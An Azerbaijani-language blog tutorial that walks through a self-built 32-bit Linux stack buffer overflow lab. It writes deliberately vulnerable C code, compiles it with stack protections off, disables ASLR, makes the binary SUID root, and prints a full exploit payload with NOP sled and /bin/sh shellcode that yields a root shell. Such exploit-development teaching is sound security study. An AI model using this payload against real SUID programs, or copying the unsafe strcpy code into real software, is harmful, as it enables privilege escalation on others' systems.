Linux 32 bit Buffer Overflow Privilege Escalation

Khazar Hajiyev
3 min readJun 2, 2024

--

Hələki maşın yoxdu test etməyə ona görə buffer overflow ilə davam edək))

Xülasə

Deməli bugün C də kiçik bir vulnerable kodu tərtib edəcəyik, ona SUİD icazəsi verib owner i root a dəyişəcəyik, sistemimizdə ASLR ı bağlayıb istismar addımlarının üzərindən keçəcəyik.

Kod haqqında qısa məlumat və ilkin tərtibat

Deməli aşağıdakı kodda bof funksiyasında, strcpy funksiyası str argumentinin ölçüsünü yoxlamadan buffer dəyişəninə kopyalamağa çalışır. str argumentinin ölçüsü buffer dəyişəni üçün stackdə ayrılan yerdən çox olarsa burada stack buffer overflow yaranır.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[240];
strcpy(buffer, str);
return 1;
}

int main(int argc, char **argv)
{
if (argc < 2) {
printf("Please enter some data\n");
return 1;
}

printf("Data is: %s\n", argv[1]);
bof(argv[1]);
return 1;
}

Kodu tərtib etmək üçün aşağıdakı komandanı icra edirik.

gcc -g -z execstack -fno-stack-protector -m32 -o stack stack.c

Sonra ASLR ı bağlayırıq

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Tərtib edilmiş kodun istifadəçisini root a dəyişib, SUİD icazəsi veririk

sudo chown root stack && sudo chmod u+s stack

İstismar addımları

Əvvəlcə offseti tapırıq. Burda GDB dən istifadə edəcəyik. GDB ni daha oxunaqlı etmək üçün gdb-peda qura bilərsən.

GDB ilə tərtib edilmiş kodu başladırıq. Daha sonra pattern create 500 istifadə edərək 500 simvoldan ibarət yük yaradırıq.

Həmin yükü argument olaraq göndərərək kodun icrasını başladırıq

Kod crash olduqdan sonra EİP registerinin dəyərini kopyalayırıq

Daha sonra pattern offset istifadə edərək EİP offseti tapırıq

Daha sonra yükü offsetə çatana qədər A hərfləri, EİP üzərinə yazılması üçün 4 ədəd B hərfi, NOP və shellcode olaraq tənzimləyirik. Daha sonra yükü parameter kimi göndərərək kodu icra edi

run $(python2.7 -c "print 'A'*252 + 'BBBB' + '\x90'*200 + 'jhh\x2f\x2f\x2fsh\x2fbin\x89\xe3jph\x01\x01\x01\x01\x814\x24ri\x01,1\xc9Qj\x07Y\x01\xe1Qj\x08Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'")

EİP registerinin dəyərinə baxdıqda BBBB ilə olduğunu görürük

İndi EİP registerinin dəyərini NOP təlimatlarına yönləndirməsi üçün EİP dəyərinin saxlanıldığı ünvandan bir sonrakı ünvan olaraq qeyd edirik.

BBBB (0x42424242) dən sonra gələn ünvan (0xffffce40) NOP təlimatlarının başladığı ünvandır.

Həmin ünvanı (0xffffce40) EİP dəyəri olaraq BBBB in əvəzinə yükümüzə yazırıq və kodu yükümüzlə birlikdə icra edirik.

Shell uğurla açıldıqdan sonra GDB i bağlayaraq yoxlayırıq. İlk dəfə istismar uğursuz olur, sonra NOP təlimatlarını artırırıq və boom :)

--

--